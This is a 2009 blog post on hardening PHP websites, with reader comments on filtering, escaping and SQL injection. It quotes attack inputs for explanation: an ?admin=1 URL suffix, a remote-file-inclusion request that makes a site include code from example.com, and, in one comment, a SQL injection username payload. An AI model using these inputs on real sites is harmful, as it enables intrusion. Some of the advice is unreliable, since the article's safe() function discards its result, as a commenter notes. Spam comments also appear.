Development

PHP Security: Fortifying Your Website- Power Tips, Tools & How to’s

July 6th, 2009

Defining PHP Security and It’s uses

PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.

Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.

PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.

Types of Attacks

There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.

The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.

Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.

The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?

Most Common PHP Security Vulnerabilities

Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.

1. Register_Globals

Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.

For example take a look at the code snippet below. A user could append the end of a page’s url with ?admin=1 to basically force entry to administrative areas that would normally require a password.

PHP Security Post Image

With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.

So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.

2. Error Reporting

Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.

Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.

PHP Security Post Image

3. Cross-Site Scripting (XSS)

Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.

To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.

An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell.

PHP Security Post Image

This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.

Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).

4. Remote File Inclusion (RFI)

This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.

A great example of an RFI attack can be found atPHPFreaks.com. Here’s an exerpt from that page:

Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.

The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.

Other PHP Security Tools

While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers:

– PhpSecInfo

PHP Security Post Image

This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors. It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool.

PHP Security Post Image

Download PhpSecInfo Here.

– PHP Security Scanner

This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched.

Download PHP Security Scanner Here

– Spike PHP Security Audit Tool

The Spike PHP Security Audit Tool is an open source solution for doing static analysis of PHP code. It will search for security exploits, so you can correct them during the development process.

PHP Security Post Image

Download Spike PHP Security Audit Tool Here

Author: Joel Reyes

Joel Reyes Has been designing and coding web sites for several years, this has lead him to be the creative mind behind Looney Designer a design resource and portfolio site that revolves around web and graphic design.

Write for Us! We are looking for exciting and creative articles, if you want to contribute, just send us an email.

The jungle is alive: Be it a collaboration between two or more authors or an article by an author not contributing regularly. In these cases you find the Noupe Editorial Team as the ones who made it. Guest authors get their own little bio boxes below the article, so watch out for these.

Tags:

Sort by:   newest | oldest | most voted
artmania
Guest
artmania
7 years 2 months ago

wow very useful! thanks!!!

Anon
Guest
Anon
7 years 2 months ago

Some quick stuff:
Turning off register_globals is not necessary for security. Instead, in the given example, the coder could have included admin=false in the top of the file, thereby nullifying any potential flaws.
For XSS, a simple htmlspecialchars() command will sanitize the input (can’t XSS if you can’t open the script tag).

Jake Rocheleau
Noupe Team
7 years 2 months ago

the Register Globals setting is by far the most obvious and easily preventable security flaw I see in all sorts of PHP apps

Permana Jayanta
Guest
7 years 2 months ago

Very useful to me, thaks for PHP security tools information

John
Guest
7 years 2 months ago

You say that “there are various types of attacks that PHP is particularly vulnerable to.” I would just like to clarify that PHP itself isn’t vulnerable to these attacks – rather websites built using PHP are primarly due to incompetent programmers.

That being said – very nice post!

Laars Johnsen
Guest
Laars Johnsen
7 years 2 months ago

For the love of god, dude, “IT’S” is a contraction of “it is”; “ITS” is the possessive form of “it.”

Mike
Guest
Mike
7 years 2 months ago

Am I thinking wrong? In my opinion, hint #3 doesn’t prevent XSS because the variables should be filtered directly. So I would write:

$title = safe( $_POST[‘title’] );

Otherwise, a hacker could infiltrate bad code because $title doesn’t filter the input.

Simon
Guest
Simon
7 years 2 months ago

Thanks a lot, that’s really usefull !
By the way does anyone have a cheatsheet explaining the differencies between:
htmlentities();
htmlspecialchars();
ENT_QUOTES
and so on… ?
Thanks again !

ghprod
Guest
7 years 2 months ago

really usefull post for me :)

i want to know more about php attack so we can develop a better script :D

@Simon
btw u can go through to php.net :)

regards

Simon
Guest
Simon
7 years 2 months ago

@ghprod
Don’t worry I’m not the kind to ask before I took a look by myself.
That’s why I was asking for a cheat sheet ;) A quick look on the sheet and you’re done.

Frank West
Guest
7 years 2 months ago

A simple to understand article covering important topics, a great article for the less experience.

Arjen
Guest
7 years 2 months ago

Thanks, I’m definitely going to check the security of my projects. Currently I’m busy with a WebOS, which needs to be as secure as possible.

Max-VII
Guest
7 years 2 months ago

When a variable, which is supposed to contain an integer, is incoming via POST or GET into a PHP script, it is the right thing to use casting.
$a = (int)$_POST[‘a’];
It is fast, it does not take resources, and serializes the variable containing an integer.

Ben D.
Guest
7 years 2 months ago

Casting an unfiltered variable is never the right thing to do.

Always filter data before processing it. You don’t know what’s in there.

k
Guest
k
6 years 6 months ago

..if you expect an integer, yes, it is a good thing to do.

Jim S.
Guest
Jim S.
4 years 5 months ago

I must agree here!

If you are expecting your values to be numeric, then string values will simply return 0’s.

Also generally a very good idea to get good with using preg_match(), and other similar regular expressions on your returned data. It may be that not all systems are as up-to-date enough to have “htmlentities” available to your scripts.

– Just a thought.

– Jim.

Web Design Mumbai
Guest
7 years 2 months ago

nice topic.

thanks for shedding more light on this.

Shahriat Hossain
Guest
7 years 2 months ago

To filter and sanitize external data I like to use these two functions filter_var() and filter_input() which are best practices, so just go ahead with these best practices ;)

Sambir Shrestha
Guest
Sambir Shrestha
7 years 2 months ago
Another important Security issue in PHP is SQL injection. SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement: This query is constructed with $_POST, which should immediately look suspicious. Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username: bad_guy’, ‘mypass’, ”), (‘good_guy This certainly doesn’t look like a valid username, but… Read more »
Joel R.
Guest
7 years 2 months ago

Thank you all for your comments! They are much appreciated!

If you have any questions, please feel free to ask.

Ben D.
Guest
7 years 2 months ago

Good points, but it’s helpful to distinguish between different kinds of data. Input should be filtered; output should be escaped.

I’m not sure about “Quote your data”, either, in the context of SQL. It’s a good practice if you’re doing something like:

query(“SELECT * FROM table WHERE id=’$id'”);

But you shouldn’t be doing something like this. Instead you should be binding parameters (psuedo-code follows):

$sql = “SELECT * FROM table WHERE id=?”;
execute($sql, array($id));

This keeps your data totally separate from your query. The ability to bind parameters is built in to PHP 5’s PDO class.

ottoman
Guest
ottoman
5 years 10 months ago
I am new and very inexperience with php and web programming. So please help if you could. This question is about SQL injection: If I have an input which can only be a 4-digit postcode. This postcode is used to run an MySQL query. Since i know it needs to be numbers only and must be 4 digits in lenght (make size = 4), then I can simply check the input to make sure it is valid before running the query, otherwise, I prompt user to re-enter a valid postcode. Is this good enough? Or am I still running a… Read more »
Pablo Livardo
Guest
7 years 2 months ago
All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable. Most of these vulnerabilities are based on inadequate filtering of input whether it’s from the URL or posted data. PHP frameworks can assist greatly with this onerous task and would be highly recommended for any production site. KohanaPHP and CodeIgniter are two I’d recommend but their bare-minimum approach may not suit your own programming abilities. Alternatively, make sure you have a good backup. A cron job that dumps your database and a scheduled rsync or FTP dump would be well-advised. It’s kept me out of hot… Read more »
Ben D.
Guest
7 years 2 months ago

“All PHP vulnerabilities are due to programming errors; the language is not itself vulnerable”

Not true, else why would the PHP team be constantly releasing new versions with security fixes.

Maybe what you meant was that PHP itself is no more or less secure than any other programming language?

devnull
Guest
7 years 2 months ago

Hardened PHP has tools to help secure PHP. And mod_security on the web app side to secure the web frontend.

jo
Guest
7 years 2 months ago

I’d also recommend turning off your php version info in the http headers to avoid someone possibly targeting a known vulnerability.

eg.
expose_php Off

e11world
Guest
7 years 2 months ago

I’m a bit of a beginner still in PHP. Wondering about logins (using php4 i guess). If I have a page.php that has a form with a login, this info will be passed on to page2.php where the username/passwords are stored (Can’t use MySQL DB for this sample so go along), is this safe? What is a better way of doing this?

Latest Tech news
Guest
7 years 2 months ago

Thanks for sharing valuable knowledge :)

Jonathan Nicol
Guest
7 years 2 months ago

I’m surprised this post didn’t mention SQL Injection, which to my knowledge is one of the most common and widely exploited PHP security vulnerabilities.

As mentioned in the article, since PHP 4.2.0 register globals has been turned OFF by default, and I would be surprised if any responsible web host has it turned on.

Another security vulnerability to consider is email header injection, which exploits the mail() function to hijack a website’s contact form for the puspose of sending spam email.

Csaba
Guest
7 years 2 months ago

I like the security tools section of this post. Will try them for sure.

Thai_guy
Guest
7 years 2 months ago

Hey this is fantastic stuff… I have sent it through our development group and asked for a report on the security tools mentioned. We would have loved to stumble on this article about 2 years ago but it is great information for those who are venturing into PHP.

BTW the SQL injection comment is brilliant, this page will be saved in many developers Favorites files.

Cheers

x-ecutioner
Guest
x-ecutioner
7 years 2 months ago

hey thanks so much for posting this, i really appreciate it

Mike
Guest
Mike
7 years 2 months ago

For #3 (XSS), you completely omitted the idea of cleaning user input, which I expected to see on this list.

For instance, if:
$title = $_POST[‘title’];
was only meant to be text, why not remove things you don’t allow?

$title = preg_replace(‘/[^a-z\d\,\s/i’, ”, $_POST[‘title’];
will allow only alphanumeric characters, spaces and commas. Now there’s nothing to worry about since any characters that could break our code are now gone.

Ben D.
Guest
7 years 2 months ago

This is good, but it would be even better to use PHP’s “filter” functions:

http://us.php.net/manual/en/ref.filter.php

filter_input() would be the right one for the job of extracting a POST variable. The function has the added benefit of bypassing those evil magic_quotes if they happen to be turned on and you can’t turn them off.

Roy Arisse
Guest
7 years 1 month ago
Sanitizing is the best practise, but keep in mind that your code has to be ‘leightweight’ (at least in my opinion). So, only use regular expressions when you exacly know the format needed. Don’t ‘automagically’ remove stuff the user typed in, because then the result would be an unexpected one. Then, the next step would be preventing to rely on fallback values (ex: when $_POST wasn’t set at all, php will throw a notice and fall back to an empty array). This can be fixed easily; so I’ve done it for a few datatypes: // check for nummeric value $nummeric… Read more »
Mike
Guest
Mike
7 years 2 months ago

While SQL injection was beyond the scope of this article, since it’s as much an SQL problem as it is a PHP one, my comments on data cleansing above using preg_replace will prevent SQL injections as well.

Ben D.
Guest
7 years 2 months ago

preg_replace() might prevent SQL injections. Or it might not, in certain cases. Your example regex permits whitespace and commas, for example, which could wreak havoc in poorly-written SQL-related code.

I would suspect that, where possible, it’s better to branch to an error path when the code encounters invalid content, rather than trying to cleanse the data.

AppleByte
Guest
7 years 2 months ago

This is very helpful resource. Thanks…

Stephan
Guest
7 years 2 months ago

@Simon:
htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities(). For escaping user input data, htmlspecialchars() is usually preferred.

ENT_QUOTES is really the kicker in preventing XSS in that you are specifically telling the function to escape double/single quotes.

The final param is your charset. UTF-8, etc.

If you want to test your forms against XSS, just google ‘XSS Cheat Sheet’…

Ben D.
Guest
7 years 2 months ago

@Stephan: “htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities()”

Do you have a reference for this, or have you benchmarked it yourself? Just wondering because, depending on how the functions are implemented in the PHP core, that might not actually be true.

If I’m escaping output I’m going to use htmlentities() because it’s more thorough and therefore more secure. If my code is performing meaningfully slower because I’m using htmlentities(), then I probably need to re-factor my code — not replace one core function with another that’s potentially less secure.

Stephan
Guest
7 years 2 months ago
htmlentities translates ALL html chars and non-english language characters. htmlspecialchars sub-set is smaller. The number of iterations over the translation tables needed is much smaller than with htmlentities. You can see the difference by outputting the two translation tables with the following: echo var_dump( get_html_translation_table( HTML_SPECIALCHARS ) ); and echo var_dump( get_html_translation_table( HTML_ENTITIES ) ); Using htmlentities or htmlspecialchars isn’t the only step in preventing XSS. However, if you are looking to translate html chars simply for XSS within the logic of your user input filtering, htmlspecialchars provides the necessary means to do this (with escaping single/double quotes). I agree… Read more »
Ben D.
Guest
7 years 2 months ago
Just took a look at the PHP core code and I think you’re right, htmlspecialchars() has got to perform better than htmlentities(). It’s not because of the size of the translation tables, though. Turns out that, in the underlying C code, there are separate maps for the “basic” characters covered by htmlspecialchars(), and for the higher-value characters covered by htmlentities(). If you call htmlentities(), each character in your string gets checked against both maps. But if you call htmlspecialchars(), each character only gets checked against the “basic” map. So yes, many more CPU cycles consumed by htmlentities(). Does it make… Read more »
LaunchTulsa.com
Guest
7 years 2 months ago

Thanks for a great post. I like keeping posts like these archived. Register globals is a killer.

Aaron McGowan
Guest
Aaron McGowan
7 years 2 months ago

With PHP 5.3 released, your error_reporting bit flag should be E_ALL | E_STRICT for development purposes.

ghprod
Guest
7 years 2 months ago

@Ben.D

Can u give us example how to thread SQL Injection well?

Regards

Ben D.
Guest
7 years 2 months ago

@ghprod, what do you mean by “thread”?

strony internetowe
Guest
7 years 2 months ago

Nice, very nice. I dig it

Jenny Miller
Guest
7 years 1 month ago

This is an excellent post. thanks a lot!

Bulungetong pugis
Guest
Bulungetong pugis
7 years 1 month ago

Nice. Very helpfull post.

Lotus24
Guest
Lotus24
7 years 1 month ago

Hey there :) this is an awesome post. But I would like to you all to use x-debug before making your project live. You can install x-debug for PHP, a debugging tool and can encounter any errors in staging phase itself.

Mapics
Guest
7 years 1 month ago

Très bon article, très intéressant. Merci pour toutes ces ressources !

Magali Wages
Guest
6 years 9 months ago

Kicking off 2010’s mixed martial arts is the brilliant UFC 108. It’s definitely going to be a great event with the kickoff being Evans vs Silva going head to head. You can watch evans vs silva video for FREE in full HD without paying that grotty $55.95 PPV cost.

Ignace Knops
Guest
Ignace Knops
6 years 7 months ago

There is an error in the above safe() function:

function safe($value) {
htmlentities($value, ENT_QUOTES, ‘utf-8’);
return $value;
}

Returns $value as-is instead of filtering as htmlentities does not take it’s parameter by reference. The correct could be:

function safe($value) {
return htmlentities($value, ENT_QUOTES, ‘utf-8’);
}

Jim S.
Guest
Jim S.
4 years 5 months ago

All you really did was remove one step from your code.

Not that this is a BAD thing, but you really didn’t change the logic of your function any.

– Jim

fandhie
Guest
6 years 6 months ago

thanks for this great article
it’s very useful for a newbie like me :)

the_guv
Guest
6 years 4 months ago

very nice Joel .. thank you

Priest
Guest
5 years 3 months ago

To think, I was confused a mitune ago.

ryan
Guest
ryan
6 years 1 month ago

very useful to me, thanks

Zachary Roach
Guest
6 years 29 days ago

I search the topic in these days. At last I am luck to find your blog. I love your web page! did you create this yourself or did you outsource it? Im in search of a blog design thats similar so thats the only cause I’m asking. Either way keep up the great work I was impressed with your content genuinely. BTW, could I use your thread on my blog or could we do links exchange? Have a good day. My blog is Blackberry Phone Guide

jack
Guest
5 years 10 months ago

Very Good site and useful!

Carl
Guest
5 years 9 months ago

Very usefull information, thanks for sharing.

Shelby Hannegan
Guest
5 years 8 months ago

Could not concur far more with that, extremely interesting report. Thanks.

Shaunte Dahlquist
Guest
5 years 8 months ago

Sorry to hear that.

Bari
Guest
5 years 8 months ago

Hey there, You’ve done an excellent job. I’ll definitely digg it and personally suggest to my friends. I’m sure they’ll be benefited from this web site.

Teddy
Guest
5 years 8 months ago

Many people are making money through blogging.Are you blogging for money now?I find that this blog (www.work-at-home-business-opportunity-online.com) shares many useful tips.

Seeds Weed
Guest
5 years 8 months ago

Attractive section of content. I just stumbled upon your site and in accession capital to assert that I get in fact enjoyed account your blog posts. Anyway I will be subscribing to your feeds and even I achievement you access consistently quickly.

SOHAN
Guest
SOHAN
5 years 5 months ago

Great Fundas of PHP…..
Learned all most Everything about PHP….

Sophie
Guest
Sophie
5 years 5 months ago

Extremely useful! Thank you so much!

Terri Bugler
Guest
5 years 5 months ago

I’m glad I chose to read this one. Nice work!

click here
Guest
5 years 4 months ago

I just noticeed you haven’t written any posts in a while?

Calvin Murrill
Guest
5 years 4 months ago

Have you ever thought about publishing an e-book or guest authoring on other websites? I have a blog centered on the same subjects you discuss and would love to have you share some stories/information. I know my visitors would appreciate your work. If you’re even remotely interested, feel free to send me an e mail.

Jayapal Chandran
Guest
4 years 8 months ago

Nice that i got this as first search result in google when i typed php security tips.
This is really good information and i have not known about the last hack RFI.
What about session hijacking?
Hope you can expand this tutorial by including some more hacks and preventions. :)

Jim S.
Guest
Jim S.
4 years 5 months ago
Maybe a comment on the “.htaccess” file? Making sure those settings are up-to-date by including severe restrictions on your data-containing folders, and any subfolders that hold your administration modules is in order? I always believe in using ALL security features together on your server. Disabling all JavaScripts and images for every web page may not be the way to go these days! Many sites will only display properly if you allow THEIR scripts and images ( as well as “styles” ) to load. So this may be a method that will backfire on the user, especially for some e-commerce sites.… Read more »
wpDiscuz